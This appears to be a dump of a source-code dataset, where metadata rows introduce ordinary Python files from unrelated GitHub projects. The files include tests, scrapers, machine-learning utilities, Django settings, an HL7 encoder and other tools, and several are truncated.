5134d8882312b08d56add863d2e5875de3a94017
[ "0BSD" ]
null
null
null
tests/integration/fixtures/programs.py
jp-t/lldpd
5134d8882312b08d56add863d2e5875de3a94017
[ "0BSD" ]
null
null
null
import pytest import glob import os import pwd import grp import re import signal import subprocess import multiprocessing import uuid import time import platform import ctypes from collections import namedtuple from .namespaces import mount_proc, mount_tmpfs libc = ctypes.CDLL('libc.so.6', use_errno=True) def moun...
37.022965
78
0.465377
3133581428a5034f6228de3782e6ab36210b4bce
33
py
Python
math_and_algorithm/006.py
tonko2/AtCoder
5d617072517881d226d7c8af09cb88684d41af7e
[ "Xnet", "X11", "CECILL-B" ]
2
2022-01-22T07:56:58.000Z
2022-01-24T00:29:37.000Z
math_and_algorithm/006.py
tonko2/AtCoder
5d617072517881d226d7c8af09cb88684d41af7e
[ "Xnet", "X11", "CECILL-B" ]
null
null
null
math_and_algorithm/006.py
tonko2/AtCoder
5d617072517881d226d7c8af09cb88684d41af7e
[ "Xnet", "X11", "CECILL-B" ]
null
null
null
N = int(input()) print(2 * N + 3)
16.5
16
0.515152
60e7d5b6c2314886201132defba9b0c7121e0cd3
3,195
py
Python
repo2docker/contentproviders/hydroshare.py
sblack-usu/repo2docker
d89f3a66aacecbc55bbc0a13bb1b47f9dfcaca78
[ "BSD-3-Clause" ]
null
null
null
repo2docker/contentproviders/hydroshare.py
sblack-usu/repo2docker
d89f3a66aacecbc55bbc0a13bb1b47f9dfcaca78
[ "BSD-3-Clause" ]
null
null
null
repo2docker/contentproviders/hydroshare.py
sblack-usu/repo2docker
d89f3a66aacecbc55bbc0a13bb1b47f9dfcaca78
[ "BSD-3-Clause" ]
null
null
null
import zipfile import os import shutil import time from urllib.request import urlopen, Request, urlretrieve from urllib.error import HTTPError from .doi import DoiProvider from ..utils import normalize_doi, is_doi class Hydroshare(DoiProvider): """Provide contents of a Hydroshare resource.""" def detect(se...
39.9375
108
0.625665
dbbd0dffb14526740c138f8b504b39d88a226552
12,879
py
Python
tools/debugging/channels_with_minimum_balance.py
tirkarthi/raiden
dbd03ddda039332b54ec0c02d81cbe1100bc8028
[ "MIT" ]
2,101
2016-06-01T11:31:49.000Z
2022-03-27T20:13:19.000Z
tools/debugging/channels_with_minimum_balance.py
tirkarthi/raiden
dbd03ddda039332b54ec0c02d81cbe1100bc8028
[ "MIT" ]
5,291
2016-06-01T18:14:04.000Z
2022-03-31T11:19:09.000Z
tools/debugging/channels_with_minimum_balance.py
tirkarthi/raiden
dbd03ddda039332b54ec0c02d81cbe1100bc8028
[ "MIT" ]
484
2016-06-01T18:21:06.000Z
2022-03-22T10:29:45.000Z
#!/usr/bin/env python from gevent import monkey # isort:skip # noqa monkey.patch_all() # isort:skip # noqa import argparse import json import re from collections import defaultdict from dataclasses import dataclass from http import HTTPStatus from typing import Dict, List, NewType, Optional, Tuple from urllib.parse ...
34.071429
97
0.678935
95826d43bcb80a305e9f341cb019150b7c167d78
2,566
py
Python
src/sa/__oldscrapers/jspagescraper.py
nwestbury/StockAnalyzer
7429cec739449946148e668e5f2c1d9a0c06392e
[ "MIT" ]
4
2019-07-28T13:17:16.000Z
2019-07-28T14:14:23.000Z
src/sa/__oldscrapers/jspagescraper.py
nwestbury/StockAnalyzer
7429cec739449946148e668e5f2c1d9a0c06392e
[ "MIT" ]
null
null
null
src/sa/__oldscrapers/jspagescraper.py
nwestbury/StockAnalyzer
7429cec739449946148e668e5f2c1d9a0c06392e
[ "MIT" ]
null
null
null
from multiprocessing import Process, Manager, cpu_count import webkit_server import dryscrape from sa.database import Database from sa.logger import LOGGER def get_html(urlQ, callback, xpath_hooks): """ This page takes a url from the URL Queue (urlQ) and calls a callbac that will handle the page source. ...
32.897436
144
0.636009
248656a544ca1776cf2feaae0f299863b1e21c38
1,304
py
Python
VRHistorian/VRHistorian/settings/dev.py
YetAnotherPeng/szcoral-vrhistorian
4df240ab7b1165250ce835a9dc163843ce6547a9
[ "MIT" ]
null
null
null
VRHistorian/VRHistorian/settings/dev.py
YetAnotherPeng/szcoral-vrhistorian
4df240ab7b1165250ce835a9dc163843ce6547a9
[ "MIT" ]
null
null
null
VRHistorian/VRHistorian/settings/dev.py
YetAnotherPeng/szcoral-vrhistorian
4df240ab7b1165250ce835a9dc163843ce6547a9
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # THIS IS FOR DEVELOPMENT ENVIRONMENT # DO NOT USE IT IN PRODUCTION # Create your own dev_local.py # import * this module there and use it like this: # python manage.py runserver --settings=VRHistorian.settings.dev_local from .base import * DEBUG = True TEMPLATES[0]['OPTIONS']['debug'] = T...
23.709091
119
0.657975
16dbe927d4d62bb9d3b7ff3a086ff8159575d214
924
py
Python
Taller Estructura de Control Selectiva/Ejercicio_6.py
Majito17/Trabajos-Majo
88a5c814365686747d843ca3ce56b7ae694c98cb
[ "MIT" ]
null
null
null
Taller Estructura de Control Selectiva/Ejercicio_6.py
Majito17/Trabajos-Majo
88a5c814365686747d843ca3ce56b7ae694c98cb
[ "MIT" ]
null
null
null
Taller Estructura de Control Selectiva/Ejercicio_6.py
Majito17/Trabajos-Majo
88a5c814365686747d843ca3ce56b7ae694c98cb
[ "MIT" ]
null
null
null
""" Datos de entrada Variable A = a = int Variable B = b = int Variable C = c = int Variable D = d = int Datos de salida Resultado redondeado = r = int """ # Entradas a =int(input( "Inserte el digito que sera A ")) b =int(input( "Inserte el digito que sera B ")) c =int(input( "Inserte el digito que sera C ")) d =i...
23.1
62
0.611472
c183043be84df8d235686b9aca33a4fa11c482f5
88
py
Python
examples/pybind11-project/test/test_sub_package.py
tttapa/py-build-cmake
29a6970102f567952993ee681cbe0b2d85166adf
[ "MIT" ]
2
2022-02-16T22:37:54.000Z
2022-03-05T19:27:11.000Z
examples/pybind11-project/test/test_sub_package.py
tttapa/py-build-cmake
29a6970102f567952993ee681cbe0b2d85166adf
[ "MIT" ]
null
null
null
examples/pybind11-project/test/test_sub_package.py
tttapa/py-build-cmake
29a6970102f567952993ee681cbe0b2d85166adf
[ "MIT" ]
null
null
null
from pybind11_project.sub_package import sub def test_sub(): assert sub(3, 2) == 1
17.6
44
0.715909
882be3bff5c4ddd57bcb71b4566d145f12d7df3f
1,409
py
Python
tests/test_calculate_change.py
TiagoJLeandro/maquininha-de-troco
1a9383d6705dbe0509f967c9385672b4d878caa7
[ "MIT" ]
null
null
null
tests/test_calculate_change.py
TiagoJLeandro/maquininha-de-troco
1a9383d6705dbe0509f967c9385672b4d878caa7
[ "MIT" ]
null
null
null
tests/test_calculate_change.py
TiagoJLeandro/maquininha-de-troco
1a9383d6705dbe0509f967c9385672b4d878caa7
[ "MIT" ]
null
null
null
import pytest from calculate_change import calculate_change default_coins_list = [ 200, 100, 50, 20, 10, 5, 2, 1, 0.5, 0.25, 0.10, 0.05, 0.01 ] @pytest.mark.parametrize('prod_value,received,expected', [(100, 0, []), (388.91, 777.82, [1,1,1,1,1...
42.69697
71
0.379702
773d93a2f4f665a44e2ef441d378911d28e97bd3
674
py
Python
manage.py
MeTeoRise/chatbot_automation
6dfbbdbf8b71219b35052c6549ff32347a6248be
[ "MIT" ]
3
2022-03-04T10:18:29.000Z
2022-03-23T20:16:01.000Z
manage.py
MeTeoRise/chatbot_automation
6dfbbdbf8b71219b35052c6549ff32347a6248be
[ "MIT" ]
null
null
null
manage.py
MeTeoRise/chatbot_automation
6dfbbdbf8b71219b35052c6549ff32347a6248be
[ "MIT" ]
null
null
null
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): """Run administrative tasks.""" os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'chatbot_automation.settings') try: from django.core.management import execute_from_command_line ...
29.304348
82
0.683976
7e53ff032d08706e0e07ed8cf2e4d386660006b0
1,653
py
Python
locations/spiders/hollister.py
radarlabs/alltheplaces
0291b8d58dc66270cc288351eeba3d183bdc4297
[ "MIT" ]
null
null
null
locations/spiders/hollister.py
radarlabs/alltheplaces
0291b8d58dc66270cc288351eeba3d183bdc4297
[ "MIT" ]
null
null
null
locations/spiders/hollister.py
radarlabs/alltheplaces
0291b8d58dc66270cc288351eeba3d183bdc4297
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import json import re import scrapy from locations.items import GeojsonPointItem from locations.hours import OpeningHours class HollisterSpider(scrapy.Spider): name = "hollister" allowed_domains = ['hollisterco.com'] # Website is blocking scrapers so I had to change the User Age...
32.411765
145
0.549304
fb3515b0b670424b170d42578852d54e4f6d1a1f
845
py
Python
saleor/graphql/product/bulk_mutations/attributes.py
dedhio/bellastore
03cad4d11c039c6c33291021def812570c09fe36
[ "BSD-3-Clause" ]
3
2019-06-09T18:00:54.000Z
2019-06-18T10:07:39.000Z
saleor/graphql/product/bulk_mutations/attributes.py
dedhio/bellastore
03cad4d11c039c6c33291021def812570c09fe36
[ "BSD-3-Clause" ]
3
2021-03-09T16:28:16.000Z
2022-02-10T19:08:00.000Z
saleor/graphql/product/bulk_mutations/attributes.py
techonomics69/saleor
fd4cf8531b65fed24b742d51bec8f015d61f3efc
[ "CC-BY-4.0" ]
1
2021-04-15T07:16:34.000Z
2021-04-15T07:16:34.000Z
import graphene from ....product import models from ...core.mutations import ModelBulkDeleteMutation class AttributeBulkDelete(ModelBulkDeleteMutation): class Arguments: ids = graphene.List( graphene.ID, required=True, description="List of attribute IDs to delete." ) class Meta: ...
27.258065
86
0.657988
712ef97d3f71687ed4bfacf0d83227a1aba47cab
392
py
Python
other/dingding/dingtalk/api/rest/OapiKacDatavAnnualReportGetRequest.py
hth945/pytest
83e2aada82a2c6a0fdd1721320e5bf8b8fd59abc
[ "Apache-2.0" ]
null
null
null
other/dingding/dingtalk/api/rest/OapiKacDatavAnnualReportGetRequest.py
hth945/pytest
83e2aada82a2c6a0fdd1721320e5bf8b8fd59abc
[ "Apache-2.0" ]
null
null
null
other/dingding/dingtalk/api/rest/OapiKacDatavAnnualReportGetRequest.py
hth945/pytest
83e2aada82a2c6a0fdd1721320e5bf8b8fd59abc
[ "Apache-2.0" ]
null
null
null
''' Created by auto_sdk on 2021.01.19 ''' from dingtalk.api.base import RestApi class OapiKacDatavAnnualReportGetRequest(RestApi): def __init__(self,url=None): RestApi.__init__(self,url) self.dept_id = None self.type = None self.user_id = None self.year = None def getHttpMethod(self): return 'POST' def...
21.777778
52
0.744898
b023e781cc65fb80c4905ff544aed4196fac4a0c
1,808
py
Python
plugin.video.oculus/resources/lib/util/messages.py
TheWardoctor/wardoctors-repo
893f646d9e27251ffc00ca5f918e4eb859a5c8f0
[ "Apache-2.0" ]
1
2021-05-09T19:55:51.000Z
2021-05-09T19:55:51.000Z
plugin.video.oculus/resources/lib/util/messages.py
TheWardoctor/wardoctors-repo
893f646d9e27251ffc00ca5f918e4eb859a5c8f0
[ "Apache-2.0" ]
null
null
null
plugin.video.oculus/resources/lib/util/messages.py
TheWardoctor/wardoctors-repo
893f646d9e27251ffc00ca5f918e4eb859a5c8f0
[ "Apache-2.0" ]
2
2020-04-01T22:11:12.000Z
2020-05-07T23:54:52.000Z
# -*- coding: utf-8 -*- """ messages.py --- Copyright (C) 2017, Midraal This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) a...
27.393939
73
0.61781
675edd6169e9be182c0ddd82816cf2e499d125a8
444
py
Python
final code/ecommerce/inventory/tests/test_category.py
veryacademy/django-ninja-crud
0d58caca218873096375615624d0fc3bf6a6d4f4
[ "MIT" ]
1
2022-03-16T03:24:08.000Z
2022-03-16T03:24:08.000Z
start code/ecommerce/inventory/tests/test_category.py
veryacademy/django-ninja-crud
0d58caca218873096375615624d0fc3bf6a6d4f4
[ "MIT" ]
null
null
null
start code/ecommerce/inventory/tests/test_category.py
veryacademy/django-ninja-crud
0d58caca218873096375615624d0fc3bf6a6d4f4
[ "MIT" ]
null
null
null
from ecommerce.inventory.models import Category def test_create_category(single_category): new_category = single_category get_category = Category.objects.all().first() assert new_category.id == get_category.id def test_create_category_with_child(category_with_child): new_sub_category = category_with...
31.714286
66
0.788288
c0bad9fab1eb25fd03796cc66e42a3d02d3a1f75
4,334
py
Python
test/test_ri_flow.py
ajey091/neml
23dd2cdb83057fdd17a37fa19f4592c54f821dbf
[ "MIT" ]
6
2020-05-06T17:04:29.000Z
2021-08-03T20:02:22.000Z
test/test_ri_flow.py
ajey091/neml
23dd2cdb83057fdd17a37fa19f4592c54f821dbf
[ "MIT" ]
66
2018-10-26T01:32:43.000Z
2022-02-01T03:02:18.000Z
test/test_ri_flow.py
ajey091/neml
23dd2cdb83057fdd17a37fa19f4592c54f821dbf
[ "MIT" ]
14
2018-11-28T17:07:24.000Z
2022-01-06T16:57:15.000Z
import sys sys.path.append('..') from neml import ri_flow, surfaces, hardening from common import * import unittest import numpy as np import numpy.linalg as la class CommonFlowRule(object): """ Tests common to all flow rules. """ def gen_stress(self): s = np.array([50.0,75.0,-50.0,25.0,75.0,-25.0]) ...
28.326797
93
0.652054
aa8f6dc308eca6db7eeac5ce1e9a344433c9076f
1,803
py
Python
consumer.py
uday171197/rabitmq_python
d007fff6d49f7c0048a124f9df6fac1e88ae1044
[ "MIT" ]
null
null
null
consumer.py
uday171197/rabitmq_python
d007fff6d49f7c0048a124f9df6fac1e88ae1044
[ "MIT" ]
null
null
null
consumer.py
uday171197/rabitmq_python
d007fff6d49f7c0048a124f9df6fac1e88ae1044
[ "MIT" ]
null
null
null
from producer import RabbitMQConfigration try: import pika import ast except: raise MemoryError('The pika module is not install , `python3 -m pip install pika`') class MetaClass(type): _instance = {} def __call__(cls,*args,**krgs): """Singletone design pattern""" if cls not in c...
33.388889
103
0.630061
4f35b48463780dd339d3cd2d82eb4f8deb7ba8c6
11,787
py
Python
src/test/tinc/tincrepo/mpp/gpdb/tests/package/procedural_language/plpgsql_caching/functional/test_plpgsql.py
lintzc/GPDB
b48c8b97da18f495c10065d0853db87960aebae2
[ "PostgreSQL", "Apache-2.0" ]
1
2017-09-15T06:09:56.000Z
2017-09-15T06:09:56.000Z
src/test/tinc/tincrepo/mpp/gpdb/tests/package/procedural_language/plpgsql_caching/functional/test_plpgsql.py
guofengrichard/gpdb
29bdd6ef38d8d9b9cb04ca31d44e279eb9f640d3
[ "PostgreSQL", "Apache-2.0" ]
null
null
null
src/test/tinc/tincrepo/mpp/gpdb/tests/package/procedural_language/plpgsql_caching/functional/test_plpgsql.py
guofengrichard/gpdb
29bdd6ef38d8d9b9cb04ca31d44e279eb9f640d3
[ "PostgreSQL", "Apache-2.0" ]
1
2018-12-04T09:13:57.000Z
2018-12-04T09:13:57.000Z
#!/usr/bin/env python """ Copyright (C) 2004-2015 Pivotal Software, Inc. All rights reserved. This program and the accompanying materials are made available under the terms of the under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a co...
45.334615
160
0.681598
3fb40dfba7e3993ce67dd383549bdf55c13af038
14,009
py
Python
8501_train_pipline.py
kxhaaa/Reconstruct-3D-Human-Pose
bc062fb031fb5b6990bfebbff48477a71dac020d
[ "MIT" ]
null
null
null
8501_train_pipline.py
kxhaaa/Reconstruct-3D-Human-Pose
bc062fb031fb5b6990bfebbff48477a71dac020d
[ "MIT" ]
null
null
null
8501_train_pipline.py
kxhaaa/Reconstruct-3D-Human-Pose
bc062fb031fb5b6990bfebbff48477a71dac020d
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun Oct 17 20:07:35 2021 @author: kong """ from train.fits_dict import FitsDict from utils import TrainOptions from torchgeometry import rotation_matrix_to_angle_axis import torch.nn as nn from utils import TrainOptions from smplify import SMPLify import t...
49.327465
137
0.591548
a95c3ca98567caa914f65f3ca32403143bf56ef1
3,610
py
Python
polus-cell-nuclei-segmentation/src/dsb2018_topcoders/albu/src/pytorch_zoo/inplace_abn/modules/residual.py
nishaq503/polus-plugins-dl
511689e82eb29a84761538144277d1be1af7aa44
[ "MIT" ]
null
null
null
polus-cell-nuclei-segmentation/src/dsb2018_topcoders/albu/src/pytorch_zoo/inplace_abn/modules/residual.py
nishaq503/polus-plugins-dl
511689e82eb29a84761538144277d1be1af7aa44
[ "MIT" ]
1
2021-09-09T23:22:16.000Z
2021-09-09T23:22:16.000Z
polus-cell-nuclei-segmentation/src/dsb2018_topcoders/albu/src/pytorch_zoo/inplace_abn/modules/residual.py
nishaq503/polus-plugins-dl
511689e82eb29a84761538144277d1be1af7aa44
[ "MIT" ]
4
2021-06-22T13:54:52.000Z
2022-01-26T19:23:39.000Z
from collections import OrderedDict import torch.nn as nn from .bn import ABN class IdentityResidualBlock(nn.Module): def __init__(self, in_channels, channels, stride=1, dilation=1, groups=1, norm...
40.561798
119
0.534626
0b8cc0c4fb64f6f4c7385eb5ca24d60044b42104
9,554
py
Python
CompletedProjGUI.py
VineetMakharia/Attendance-Seeker-using-a-Telegram-Bot-and-Google-Sheets
d2ab1b8d56ca7ae2348cc7d9a2b90366792384f6
[ "MIT" ]
null
null
null
CompletedProjGUI.py
VineetMakharia/Attendance-Seeker-using-a-Telegram-Bot-and-Google-Sheets
d2ab1b8d56ca7ae2348cc7d9a2b90366792384f6
[ "MIT" ]
null
null
null
CompletedProjGUI.py
VineetMakharia/Attendance-Seeker-using-a-Telegram-Bot-and-Google-Sheets
d2ab1b8d56ca7ae2348cc7d9a2b90366792384f6
[ "MIT" ]
null
null
null
# Author Name : Vineet Makharia, Rumil Dand, Kunal Mehta # Date Created: 12/02/18 # Date Modified: 22/04/18 # Copyright # FileName : CompletedProjGUI from __future__ import print_function from apiclient import discovery from oauth2client import client from oauth2client import tools from oauth2client.file import Stora...
31.32459
122
0.598493
bd4a8309d51a77dfacc22b4cfffc90e97893e882
480
py
Python
Docs/Code_examples/HttpProxyExample.py
Valentijn1995/Kn0ckKn0ck
6339f7f0e02c9b63f62539784ec6719b3c94de72
[ "MIT" ]
null
null
null
Docs/Code_examples/HttpProxyExample.py
Valentijn1995/Kn0ckKn0ck
6339f7f0e02c9b63f62539784ec6719b3c94de72
[ "MIT" ]
null
null
null
Docs/Code_examples/HttpProxyExample.py
Valentijn1995/Kn0ckKn0ck
6339f7f0e02c9b63f62539784ec6719b3c94de72
[ "MIT" ]
null
null
null
import Proxies.Destination import Proxies.HttpProxy from Proxies.Protocols.HttpProtocol import ExampleHttpHeaders my_proxy_address = Proxies.Destination.Destination("127.0.0.1", 8080) my_proxy = Proxies.HttpProxy.HttpProxy(my_proxy_address) my_http_request = Proxies.HttpProxy.HttpRequest("GET", "/", ExampleHttpHeader...
32
90
0.820833
4d3e545d7e66f20485ccc50b638a93868846f0c0
15,555
py
Python
pde/fields/tests/test_generic.py
noah-ziethen/py-pde
b88e86439290c31284a4ac665a8e9ff34d08b494
[ "MIT" ]
null
null
null
pde/fields/tests/test_generic.py
noah-ziethen/py-pde
b88e86439290c31284a4ac665a8e9ff34d08b494
[ "MIT" ]
null
null
null
pde/fields/tests/test_generic.py
noah-ziethen/py-pde
b88e86439290c31284a4ac665a8e9ff34d08b494
[ "MIT" ]
null
null
null
''' .. codeauthor:: David Zwicker <david.zwicker@ds.mpg.de> ''' import numpy as np from scipy import ndimage import pytest from .. import ScalarField, VectorField, Tensor2Field, FieldCollection from ..base import FieldBase from ...grids import (UnitGrid, CartesianGrid, PolarGrid, SphericalGrid, ...
34.566667
79
0.595371
764357e71280478de556d47ca5650d5b8b9c82b2
1,626
py
Python
indy_node/test/upgrade/test_upgrade_timeout.py
rantwijk/indy-node
3cb77dab5482c8b721535020fec41506de819d2e
[ "Apache-2.0" ]
1
2020-07-31T19:42:53.000Z
2020-07-31T19:42:53.000Z
indy_node/test/upgrade/test_upgrade_timeout.py
rantwijk/indy-node
3cb77dab5482c8b721535020fec41506de819d2e
[ "Apache-2.0" ]
null
null
null
indy_node/test/upgrade/test_upgrade_timeout.py
rantwijk/indy-node
3cb77dab5482c8b721535020fec41506de819d2e
[ "Apache-2.0" ]
null
null
null
from stp_core.loop.eventually import eventually from indy_node.server.upgrader import Upgrader import functools whitelist = ['Failed to upgrade node', 'failed upgrade', 'This problem may have external reasons, check syslog for more information'] def testTimeoutWorks(nodeSet, looper, monkeyp...
32.52
89
0.583026
fd5558feba622f1e20d4024b89c734a664170731
3,601
py
Python
app/python/arcdump.py
PiRSquared17/warc-tools
f200a5ed086159a1b1833f7361b35389b1ad1ef4
[ "Apache-2.0" ]
null
null
null
app/python/arcdump.py
PiRSquared17/warc-tools
f200a5ed086159a1b1833f7361b35389b1ad1ef4
[ "Apache-2.0" ]
null
null
null
app/python/arcdump.py
PiRSquared17/warc-tools
f200a5ed086159a1b1833f7361b35389b1ad1ef4
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # ------------------------------------------------------------------- # # Copyright (c) 2007-2008 Hanzo Archives Limited. # # # # Licensed under the Apache License, Version 2.0 (the "License"); # # you...
40.920455
133
0.404332
f975a8b4022343c9bf61613dd220cb9abed0d832
7,852
py
Python
tools/profiling/microbenchmarks/bm_diff/bm_diff.py
samotarnik/grpc
3278bdceda8030d5aa130f12765e5f07263c860d
[ "Apache-2.0" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
tools/profiling/microbenchmarks/bm_diff/bm_diff.py
samotarnik/grpc
3278bdceda8030d5aa130f12765e5f07263c860d
[ "Apache-2.0" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
tools/profiling/microbenchmarks/bm_diff/bm_diff.py
samotarnik/grpc
3278bdceda8030d5aa130f12765e5f07263c860d
[ "Apache-2.0" ]
338
2020-04-18T08:03:10.000Z
2022-03-29T12:33:22.000Z
#!/usr/bin/env python2.7 # # Copyright 2017 gRPC authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
34.13913
90
0.559348
81170febfc168a1f071a34e425acb8a8fe86a9cd
8,585
py
Python
docs/conf.py
davidruffner/cv-people-detector
65f6087ab00db204235496c269641720c6344336
[ "MIT" ]
null
null
null
docs/conf.py
davidruffner/cv-people-detector
65f6087ab00db204235496c269641720c6344336
[ "MIT" ]
1
2018-05-30T13:14:12.000Z
2018-05-30T13:20:17.000Z
docs/conf.py
davidruffner/cv-people-detector
65f6087ab00db204235496c269641720c6344336
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # # CV People Detector documentation build configuration file, created by # sphinx-quickstart on Sun Aug 28 17:16:57 2016. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated ...
31.796296
87
0.718812
283d82ef16f15546b94d0f79511f3e974a37ae0f
6,974
py
Python
kubernetes/client/models/v1alpha1_external_admission_hook_configuration_list.py
jraby/kubernetes-client-python
e6e7b710d0b15fbde686bc9dccf00da5951bef84
[ "Apache-2.0" ]
null
null
null
kubernetes/client/models/v1alpha1_external_admission_hook_configuration_list.py
jraby/kubernetes-client-python
e6e7b710d0b15fbde686bc9dccf00da5951bef84
[ "Apache-2.0" ]
null
null
null
kubernetes/client/models/v1alpha1_external_admission_hook_configuration_list.py
jraby/kubernetes-client-python
e6e7b710d0b15fbde686bc9dccf00da5951bef84
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 """ Kubernetes No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.7.1 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from pprint import pformat from six import iteritems import re ...
35.222222
281
0.642386
6848bda209b8ea7655fdb061d1c57c3583acd7a5
5,637
py
Python
utils/cost_volume.py
jack09581013/Dual-GDNet
d9d65928208caee781cbe8f8f794241d06b4bf5d
[ "MIT" ]
null
null
null
utils/cost_volume.py
jack09581013/Dual-GDNet
d9d65928208caee781cbe8f8f794241d06b4bf5d
[ "MIT" ]
null
null
null
utils/cost_volume.py
jack09581013/Dual-GDNet
d9d65928208caee781cbe8f8f794241d06b4bf5d
[ "MIT" ]
null
null
null
import torch import torch.nn.functional as F import gdnet_lib import utils def calc_cost(left_image, right_image, disparity, kenel_size, method): batch, channel, height, width = left_image.size() min_disparity, max_disparity = disparity assert left_image.is_contiguous() assert right_image.is_contiguous...
35.45283
121
0.602803
117a8f1ab036b834a1332b8538488f98185026d4
33,372
py
Python
venv/Lib/site-packages/wx/tools/pywxrc.py
saleguas/deskOrg
c21d9abf56e1756fa8073ccc3547ec9a85d83e2a
[ "MIT" ]
3
2019-10-06T15:39:39.000Z
2020-09-29T23:51:50.000Z
venv/Lib/site-packages/wx/tools/pywxrc.py
saleguas/desktoporganizer
c21d9abf56e1756fa8073ccc3547ec9a85d83e2a
[ "MIT" ]
9
2021-03-18T23:10:27.000Z
2022-03-11T23:43:55.000Z
venv/Lib/site-packages/wx/tools/pywxrc.py
saleguas/desktoporganizer
c21d9abf56e1756fa8073ccc3547ec9a85d83e2a
[ "MIT" ]
2
2019-03-11T05:06:49.000Z
2019-03-22T21:48:49.000Z
#---------------------------------------------------------------------- # Name: wx.tools.pywxrc # Purpose: XML resource compiler # # Author: Robin Dunn # Based on wxrc.cpp by Vaclav Slavik, Eduardo Marques # Ported to Python in order to not require yet another # bi...
35.615795
109
0.533471
1788c1a26f9d0597987000ad039bf1de231bae2a
2,424
py
Python
CQS/util/IO.py
avijitshee/cartan-quantum-synthesizer
d0430643c2eeb610eca8f46581bb70df9ec084b7
[ "BSD-2-Clause-Patent" ]
5
2021-10-04T19:50:40.000Z
2022-02-17T21:41:44.000Z
CQS/util/IO.py
avijitshee/cartan-quantum-synthesizer
d0430643c2eeb610eca8f46581bb70df9ec084b7
[ "BSD-2-Clause-Patent" ]
null
null
null
CQS/util/IO.py
avijitshee/cartan-quantum-synthesizer
d0430643c2eeb610eca8f46581bb70df9ec084b7
[ "BSD-2-Clause-Patent" ]
1
2021-08-31T14:50:40.000Z
2021-08-31T14:50:40.000Z
# -*- coding: utf-8 -*- __docformat__ = "google" """ Useful functions to format, convert, and output PauliStrings authors: - Thomas Steckmann - Efekan Kokcu """ from numpy import kron from CQS.util.PauliOps import X,Y,Z,I,paulis def printlist(tuples): """Function to Print from Tuple format to string format Pa...
26.064516
145
0.535891
e2ec3c999b0b1c64fdb7608339b5c7e3042aefe4
1,715
py
Python
HL7/HL7encoder.py
joseroma/HospitalDBWeb
006fcc4daf3e8383abdb33c7c82132718cd29c36
[ "MIT" ]
null
null
null
HL7/HL7encoder.py
joseroma/HospitalDBWeb
006fcc4daf3e8383abdb33c7c82132718cd29c36
[ "MIT" ]
null
null
null
HL7/HL7encoder.py
joseroma/HospitalDBWeb
006fcc4daf3e8383abdb33c7c82132718cd29c36
[ "MIT" ]
1
2019-07-07T03:11:09.000Z
2019-07-07T03:11:09.000Z
import base64 from hl7apy import core try: from StringIO import StringIO except ImportError: from io import StringIO def generarHL7_ORU_R01(): print("Se ha pedido mandar un mensaje HL7 del tipo ORU_R01") hl7 = core.Message("ORU_R01") hl7.msh.msh_3 = input("FileType: (text or img)") hl7.msh.msh...
37.282609
147
0.704956
cf6bfdd427ae4a185faedc2a7e8a86eeed19e5b3
4,612
py
Python
tensorflow/contrib/session_bundle/gc_test.py
uve/tensorflow
e08079463bf43e5963acc41da1f57e95603f8080
[ "Apache-2.0" ]
null
null
null
tensorflow/contrib/session_bundle/gc_test.py
uve/tensorflow
e08079463bf43e5963acc41da1f57e95603f8080
[ "Apache-2.0" ]
null
null
null
tensorflow/contrib/session_bundle/gc_test.py
uve/tensorflow
e08079463bf43e5963acc41da1f57e95603f8080
[ "Apache-2.0" ]
null
null
null
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
37.495935
81
0.603209
9bb2e7e7653d267781002f36fc40263bb1eea851
1,810
py
Python
tests/iopy/z_compatibility.py
utix/lib-common
ae09e6174b4f76a1f3d659705ae85cc0e669219e
[ "Apache-2.0" ]
null
null
null
tests/iopy/z_compatibility.py
utix/lib-common
ae09e6174b4f76a1f3d659705ae85cc0e669219e
[ "Apache-2.0" ]
null
null
null
tests/iopy/z_compatibility.py
utix/lib-common
ae09e6174b4f76a1f3d659705ae85cc0e669219e
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python #vim:set fileencoding=utf-8: ########################################################################### # # # Copyright 2019 INTERSEC SA # # ...
42.093023
75
0.410497
04ee4ce2a31cd086df9e6b82053fa3e033abac9e
453
py
Python
tests/test_solver.py
davidthomas5412/ActiveOpticsSimulator
8c2ef23e95ca9e712f113c13611e3a723936d1b7
[ "MIT" ]
4
2019-07-17T23:06:52.000Z
2021-09-15T10:38:51.000Z
tests/test_solver.py
davidthomas5412/ActiveOpticsSimulator
8c2ef23e95ca9e712f113c13611e3a723936d1b7
[ "MIT" ]
5
2019-09-05T22:13:11.000Z
2019-11-18T02:55:08.000Z
tests/test_solver.py
davidthomas5412/ActiveOpticsSimulator
8c2ef23e95ca9e712f113c13611e3a723936d1b7
[ "MIT" ]
null
null
null
import pytest import numpy as np from aos.solver import Solver, SensitivitySolver def test_abstract_solver(): with pytest.raises(TypeError): Solver() def test_sensitivity_solver_nominal(): solver = SensitivitySolver() y0 = np.zeros(len(solver.y0) + 1) # hack because Noll (1976) indexing starts...
25.166667
55
0.697572
bd332252b1754f62988626c4d29986477eb935d8
5,792
py
Python
tfx/examples/penguin/experimental/penguin_pipeline_sklearn_local_e2e_test.py
Shunpoco/tfx
85c365cd31943c32a7f3189ed34ad5c18b9b71fd
[ "Apache-2.0" ]
null
null
null
